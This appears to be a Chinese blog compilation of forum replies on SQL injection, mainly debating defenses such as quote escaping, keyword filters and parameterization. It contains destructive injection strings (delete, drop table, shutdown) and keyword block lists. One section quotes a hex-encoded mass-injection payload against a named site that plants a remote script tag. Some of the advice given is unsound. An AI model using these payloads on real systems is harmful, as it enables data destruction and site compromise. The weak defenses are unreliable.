SQL injection 大杂烩

主要来自http://topic.csdn.net/u/20091013/10/bae1ff33-24bb-4369-9dc6-d2f8faa4cb17.html

http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html

http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449870.aspx

http://www.secnumen.com/technology/anquanwenzhai.htm

 

(1)

我一般都用存储过程,参数化都少

只要不输入奇数倍数的单引号,随你怎么输入,都没问题

因为在sql的字符串中 两个'才能表示一个',而一个'表示字符串结束,所以才会引发问题

链接字符串的方式的确不安全,变量参数化是个不错的选择,用存储过程更加不错。
我指的是我不是在页面上直接写增删改语句,而是用存储过程,传参到存储过程当然参数化了。

指定参数类型和长度 过滤掉单引号 就行了,你就用二进制来注入吧

(2)

我一向的做法是过滤掉select¦insert¦delete¦update¦declare¦sysobjects¦mid¦master¦syscolumns¦cast¦truncate¦exec这些,然后把一个单引号替换成2个,
但有时候会出问题,比如长篇文章里面有可能命中了比较短的,如mid,cast,exec,master等,如果要求不高可以不过滤这些。
至于unicode编码注入,char(..)什么的,汗,顾不了这么多了。如果真的遇到了也只好认倒霉。。

(3)

针对这个:
  /*
  * 删
  * string sql = "delete test where name='" + TextBox1.Text + "'";
  * Common.Execute(sql);
  */

在TextBox1中输入 ';delete test;--
那最后SQL拼接的结果是:delete test where name='';delete test;--'
这样楼主的表里的数据就全玩完了
你可以照这个思路再去想象

如果你的代码写成
string input = TextBox1.Text.replace("'","''");
string sql = "delete test where name='" + input + "'";
exec(sql);
那最后结果变成:delete test where name=''';delete test;--'
这样就不会出现问题

对于替换单引号之后怎么注入,我能力有限,暂时想不出啥办法

(4)

传SqlParameter 做参数一切不就全部解决了。

很多攻击网站的人,得到你的数据库的表,都是在地址栏上面 试出来的,以及一些用户表及其数据。最后用最高权限的进去乱整,你的网站就完了。

那自己写个加密算法,接收的字符串类型的东西直接一转化,再往数据库里插,显示的时候再解密一下,这不得了,数据也安全了,也不用担心sql注入了

我是觉得没有绝对的安全,就算我们的程序做的再安全,服务器不行,也是白费力气,对吧,所以适当的把程序做好,就可以了。

(5)

参数化可是最佳的选择

http://www.XXX.com/XXXX.asp?id=1,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=1'' 中。
/XXXX.asp,行8

从这个错误提示我们能看出下面几点:

1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。

从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

那过滤了单引号就安全了 其实不然 上面只是个简单的例子
http://www.XXX.com/XXXX.asp?id=7 and 1=1
http://www.XXX.com/XXXX.asp?id=8 and 1=2

这就是经典的1=1、1=2测试法
不可以注入就比较容易判断了,一般都会有程序定义的错误提示,或提示类型转换时出错。

当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数

(6)

其实你已经至少总结出来了两点了:
1.字符型参数替换单引号
2.数字型参数检测类型
我补充一点:3.以上的检测和替换动作必须的服务端做,JS是不可靠的

从我目前的知识来看,对于SQL SERVER这三点是足够了的
我对JS也持有怀疑态度,还是JS和服务器端都检测好,双保险

nchar(25143)即为‘ 单引号只是注入的试探性工作而已
有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不

(7)

sql="select * from xxx where id="+txtID.Text;
那么如果你只是替换'的话,也就没什么意义了,我在txtID里输入 0;delete from xxx; 

比如新建用户提交用户名和密码,用户名最长32个字符,那么在用户名的最后一个字符填入 ' ,被替换后会被截断,如果数据库保存的密码是 用户名+密码 的MD5码,例如 "encode('"+username+password+"')"
那么只要密码的第一个字符是 ) 就可以闭合这个encode调用.后面的代码就有机会执行.

你这么写代码会对部署平台有要求,例如不能部署在mySQL上
其后不能进行字段间的拼接...其它应该还有很多限制,还没有想到

过滤单引号和过滤关键字的巨大区别在于作用的位置。

过滤单引号:是作用于sql拼接的位置,相当于直接在出错的源头处理问题,但是要注意字符与数字的区别处理。正如上面有人说过的,数字,就把值转成数字值后再拼接,字符则是一变二的替换单引号,前后再追加一个单引号即可

过滤关键字:是作用于变量输入位置,相当于在汇集到源头的支流上处理问题。我一直认为这种防注入方式是出现在补丁上。因为当年SQL注入爆发的非常突然,相当多的系统都有这个漏洞,但由于这些都是已经完成的系统,不可能找出所有的sql拼接处进行单引号处理,才出现过滤关键字这种防注入,直接从接收变量的位置进行关键字检测(注意只是检测,当初这种方式是检测后警告,而不是替换),这样作对于补丁来说非常简单,只需要作一个过滤处理小补丁然后镶到每个页面的引导处作为变量检测处理。但是由于这种补丁需要检测大量的生僻关键字,所以导致补丁的不完整,从而开始有人讨论这种方式的防御与攻击,故而误导了不少新人或是被sql注入吓到的程序员们。

说白了,sql注入在拼接时处理单引号才是真正正确的,过滤关键字,只是把简单的事情复杂化,而且还不能完全解决问题。

麻,反正每次讨论这个问题我都会说一大堆这样的话,只是没什么人相信而以。对于那些把sql注入说的高深莫测的人我只想说一句,行不行,自己写一段然后把你能用得上的注入手段都试一遍就是了。

以下是一段处理注入的代码
private string createSQL(string str, string intNumber)
    {
       
int number = 0;
       
int.TryParse(intNumber, out number);
       
return string.Format("select * from table where number={0} and str={1}", intNumber, this.formatSqlStrValue(str));
    }
   
private string formatSqlStrValue(string value)
    {
       
return "'" + value.Replace("'", "''") + "'";
    }
案例:string value = "a'b'c",用一变二的单引号处理方式输入到数据库内,字段的内容还是a'b'c不变的,所以,超出长度的截断操作应该在替换单引号之前处理。而不是之后。所以不会出现109L所说的顾虑。

(8)

替换掉单引号,如果你的后台查询字段是字符串,可以规避一些

但是如果你的后台判定是整形或者其他不需要单引号的查询
比如传入id=1
你后台写  
select 字段 from 表名 where id=Request["id"]
那么 如果传入 id=1 or 0=0,
会组织出
select 字段 from 表名 where id=1 or 0=0
想想就害怕

insert into users values(666,  
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
 char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),  
0xffff) 应该就是这样的方式吧

sql注入在拼接时处理单引号才是真正正确的,过滤关键字,只是把简单的事情复杂化,而且还不能完全解决问题。
(9)

我就是这个意思,要在每次拼接的时候都要正确地处理单引号,并不是用户输入的数据替换一次就完事
例1:
数据表 UserTable
字段 Name:用户名,PIN码:解锁/锁定帐户时用的密码,Md5:PIN码+密码(用户登录时填的密码)的MD5码

假设有 用户名 "aaa",该用户PIN码为 "bbb'", 提交请求将其密码修改为"); shutdown;"
使用UpdatePass来更新密码,Name为用户名,Pass为密码
在UpdatePass有这样的语句(encode为存储过程,用来计算一个字符串的MD5码)
string sql = "select top 1 PIN from UserTable where Name='" + Name + "'";
string Pin=Common.getOne(sql);
sql ="update UserTable set Md5=encode('"+Pin+Pass"') where Name='"+Name+"'");
Common.Execute(sql);
这段代码就会导致服务器关闭
这个应该算是2次攻击,以后不管是使用用户提交来的数据,还是从数据库取数据,每次要拼接/取子串的时候都需要替换'

还有就是可能用户提交来的数据替换完'之后还需要进一步处理才能写入数据库,即在替换完'之后,写入数据库之前的时候如果取子串、拼接都要检查时候截断了',例如下面代码
例2:
user = left(Replace(UserInput, "'", "''"), 32)
sql = "select * from UserTable where name = '" + user + "'" and pass = '" + password + "'"
当然,从例1可知就算从数据库取得的数据替换完'后,当取子串的时候也需要判断是否截断'

总结一下:
1 从数据库取出的数据也需要替换'
2 当需要对替换完'的字符串拼接/取子串时都需要判断时候截断'
3 对于某些数据库(mySQL),不光''可以代表1个单引号,/'也可以代表单引号,如果以后你的代码可能会迁移平台的话也需要处理/的情况。

不过上面只能算是编程上要注意的事项,下面则应算是一个漏洞了:
Unicode 字符有时会被系统转换成本地字符集,Unicode 字符 U+02BC (URL %CA%BC) 会被数据库自动转换成',具体可以参考 http://www.comsecglobal.com/FrameWork/Upload/SQL_Smuggling.pdf

另外SQL Server Native Client ODBC和SQL Server Native Client OLE DB Provider for SQL Server默认是将QUOTED_IDENTIFIER 设置为ON,即双引号"也可以结束字符串,同样可以引起攻击

其实防止SQL注入有一个更加简单有效的办法,就是假如在查询的SQL语句出现有些条件参数是来自客户端的用户输入的数据的话,那么不要把该条件放在WHERE语句的最后,举个例子:
SELECT * FROM TABLE1 WHERE FIELD='PARAMETER',其中的PARAMETER是用户输入的参数,那么只要把该语句改为SELECT * FROM TABLE1 WHERE FIELD='PARAMETER' AND 1=1,
这种方法应该可以防止大部分的SQL注入攻击,当然是没办法防住所有的SQL攻击的了,只要被黑客猜到你是在后面增加了 AND 1=1的话,还是有可能构造出有效的PARAMETER字符串来进行注入攻击的

(10)

其实单引号过滤基本能防止大部分sql注入 但是还不是十分安全。
我说说对二进制注入的理解,这里二进制注入并不是将单引号写成对应的ascii码值进行注入。
所以你就百度搜索 不到二进制sql注入信息。

基本是这样完成的,因为对于字符类型的字段sql需要单引号括起来,
但是如果我们使用文本的ascii值,就可以不用单引号括起来。
举例如下:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;
如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

数据库里的确实31位+1个单引号,但是如果你以后将这个值select出来后要将其替换为31位+2个单引号才能使用,我的例子就是例1中用户在创建帐号时提交的是 bbb' ,后台变成 bbb'', 进入数据库后又变成 bbb'
但是当你再使用这个PIN拼接的时候就会变成:
update UserTable set Md5=encode('bbb'); shutdown;') where name='aaa'

我意思是,既然要加密,干脆在后台加密了事,在数据库中,可能就会出现像你那样的报错。
加密算法的源码,即使把源码给他了,他也不能把7CC947A9592B2A08E4DE0B70676AB089给破解了吧。

7CC947A9592B2A08E4DE0B70676AB089是刚才测试的pin码+密码的结果。

(11)

* string sql = "delete test where name='" + TextBox1.Text + "'";
TextBox1.Text是用户输入的内容吧。

如果输入内容是:/u0027 or /u00271/u0027=/u00271/u0027 or /u00271/u0027=/u0027

3Q。我突然想起来:
string sql = "select top 1 PIN from UserTable where Name='" + Name + "'";  
string Pin=Common.getOne(sql);  
sql ="update UserTable set Md5=encode('"+Pin+Pass"') where Name='"+Name+"'");  
Common.Execute(sql);  

string Pin=Common.getOne(sql); 
这里,取出来了pin码,内容为 bbb' ,然后你又要拿这个值去操作数据库,这时应该替换一下吧。
照例把单引号替换为两个单引号,还会有错误产生吗?

我一直说的是,操作数据库之前,把单引号给替换一下,就没事了。

 String str2 = "/u0027 or /u00271/u0027=/u00271/u0027 or /u00271/u0027=/u0027";
String str3 = "delete test where name='" + str2 +"'";

输出str3的结果是:delete test where name='' or '1'='1' or '1'=''

(12)

那个文章我抽几个片断用google翻译稍微改了下
Unicode Smuggling
Theory
There are numerous Unicode characters that are "similar" to other characters, such as those in the base ASCII character set. These are known as homoglyphs.

Unicode 问题
理论
有许多Unicode字符是“类似”(这里指的类似可以参见ppt的24页)于其他字符,例如那些基本的ASCII字符。这些被称为homoglyphs(这个词是在不好翻,意思就是两个字长太像被混淆,例如数字1和字母l)。

Our research discovered a surprising finding: some database servers support automatic
translation between supported codepages. E.g. a Unicode value may be automatically
converted to a different character in the local character set, according to a "best fit" heuristic,
even though these characters are not equivalent and are computationally unequal.

我们的研究发现了一个惊人的发现:一些数据库服务器的支持在代码页间自动
转换。例如: 一个 Unicode值可能会根据“best fit(最适)” 策略自动
转化为一个不同的本地的字符集字符,即使这些字符不等价,并不完全相等。


When string data containing these characters are forced from Unicode into another character
set, the database server may perform the "best fit" matching, translating some of these
characters to whatever character is deemed visually equivalent in the target codepage. For
instance, the Unicode Ā character (U+0100) may be translated to the regular ASCII A
(U+0041). As surprising as this is, this automatic translation occurs for numerous other
characters, as many homoglyphs exist.

当字符串数据包含这些字符是被迫从Unicode到另一个字符集
,数据库服务器可以执行的“best fit”匹配的,其中有些待转换字符
字符和目标代码页的字符在视觉上的相同。
例如,在Unicode字符 Ā (U+0100)可转换为普通的ASCII字符 A(U+0041)。
这是不足为奇的,因为,这种自动翻译发生的许多其他homoglyphs字符。


And this is where the interesting (or scary) part starts – the Unicode homoglyph translation is
not limited to base alphabet characters... Specifically, the Unicode character U+02BC
(modifier letter apostrophe) can be translated by the database server to a simple quote – '
(U+0027). There are, of course, many other similar examples.

而这正是令人感兴趣的(或可怕)的一部分开始- Unicode homoglyph转换
不仅限于基础字母字符...具体来说,Unicode字符 U+02BC
(modifier letter apostrophe),可以由数据库服务器转换为一个简单的引号- ' 
(U+0027)。当然,还有许多其他类似的例子。


Automatic, "best-fit"
homoglyphic transformations are a feature intended to ease user's pain in translating
between "foreign" languages and the local character set. It seems that this homoglyphic
transformation is not supported by all databases. Specifically, Microsoft's SQL Server 2005
does support homoglyph transformation. Older versions of MySQL supported a version of the
Connect/J connectivity library that apparently performed this transformation. We are still
researching other databases.

自动进行“best fit” 转换是为了减轻用户在
不同的语言和本地的字符集翻译时的痛苦。但是并不是所有数据库都支持自动转换。
具体而言,微软的SQL Server 2005 支持这种转变。旧版本的MySQL的Connect/J连接库,也支持这种转变。我们仍在研究其他数据库。我用的是SQL语句参数化,以及URL参数加密。

(13)

|nvarchar |and |exec |insert |select |delete |update |count |master |truncate |declare |cast |while |script |title |set |fetch |from |table_cursor |into |deallocate |table |sysobjects |syscolumns  
我一般都是过滤这些关键字 由以上字的链接直接转到非法链接页面

测试不了运行什么sql字符串,不然如果把' 即char(39)拿来运行,可能有意想不到的

针对sql的string,过滤单引号足矣
针对sql的int,int.Parse也足矣
前提:sql语句书写规范

对于提到的其它编码注入,那就去其它数据库或其它数据类型测试吧

 http://www.shouyi120.com/bbs.aspx?bbs=285;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040

004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062

006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C0065006

3007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F00

62006A006500630074007300200041002C0053007900730063006F006C0075006D006E007300200042002000570068006500720

06500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075

002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007

900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E

00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F004300750072007

3006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C006500

5F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C0065002800400

04000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E0020004500780065

0063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002

B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800

610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720

069007000740020007300720063003D0068007400740070003A002F002F007A003300360030002E006E00650074003E003C002F

007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006

D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C00400043002

00045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F0072002000440065006

1006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR

(4000));ExEc(@S);这种注入很头大的

(14)

* 增
* string sql = "insert into test values('"+TextBox1.Text+"')";

TextBox1.Text = "admin'--"的时候,对他进行替换,变成“admin''--”。
然后执行SQL语句,插入到数据库中,在数据库中显示的是:“admin'--”,这样的话如果在对这个用户进行更新操作的话,就会变成:update test set cname= '...' where cname = 'admin'--'
* 改
* string sql = "update test set name='" + TextBox1.Text + "'";
TextBox1.Text 的内容是用户输入的,不管了。where后面的就会变成“admin”.
这样的话,如果表中存在cname='admin'的用户的话,而且是管理员的话,那就可怕了。

第一步,先插入一个:admin'--。
第二步,对刚刚插入的这条记录进行更新。

网站当然都有验证,但是如果一些地方不是使用的参数化,并且没有替换单引号,就已经有漏洞了。
只要表名字段名被猜出来了,就可以直接操作网站的数据库了。

比如 select * from test where name='"+txt.text+"' 。这是数据库执行代码,没有替换单引号。只要你知道了表名是test,你只要在txt.text中提交: ';drop table test-- ,然后,网站数据库的这个表就会被你删掉了。

因为name是字符串,';drop table test-- 也是字符串,所以网站的验证只要长度符合,就可以提交数据库了。所以要防止这种事情的发生,就要替换掉单引号。

呵呵,其实提到的这些问题,用正则表达式就完全可以解决的!
不知道楼主为什么把问题复杂化了???
第一考虑:替换所有可能出错的字符,[正则式完全可以解决的]
第二考虑:防止注入脚本,[正则式也是完全可以解决的]
上面考虑的还不是在SQL里
第三考虑:在SQL语句端进行过滤和扑捉,[存储过程是可以解决的]
基于以上考虑,应该很完全了!

现在的思路主要是找不允许输入的字符,比如单引号之类。可以思路反过来,将验证变成只允许能输入XXX。
比如,有个程序是让用户输入将要建立的表名,只要给他一个可安全输入的较大的字符范围即可,比如,在验证时只有符合正则表达式/w+(表示连续的数量至少一个的字符或数字或下划线或中文)的输入才能验证通过。一般的表名也就是这个范围了,找到一个安全输入的范围,将用户的输入控制到这个范围即可。
这样可以较简单控制用户输入,防止Sql注入。

总之就是将防止Sql注入的方法由不允许输入XXX,改为只允许输入XXX。

给你一个终极解决方案,在存储过程中参数化,而且,更重要的是,全部转换成二进制再进行判断,这样,不仅能杜绝sql注入,而且能避免大小写可以混写的问题。而一般的参数化不能保证大小写的问题。。。

你不要在代码中直接写参数,用SqlParamenter来添加参数

现在,你用单引号以外的东西来注入一下,我看看你怎么写。
如果一定要用上单引号,你把单引号变成两个,然后把注入的代码发出来,我帮你测试。
增删改查随你。

楼主的方法不会被注入
但是楼主不仅仅是
1,过滤了单引号
2,还有转换为数字或小数
单引号本来就是sqlserver的转义符,所以5个长度,替换后任然是5个,而不是10个

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值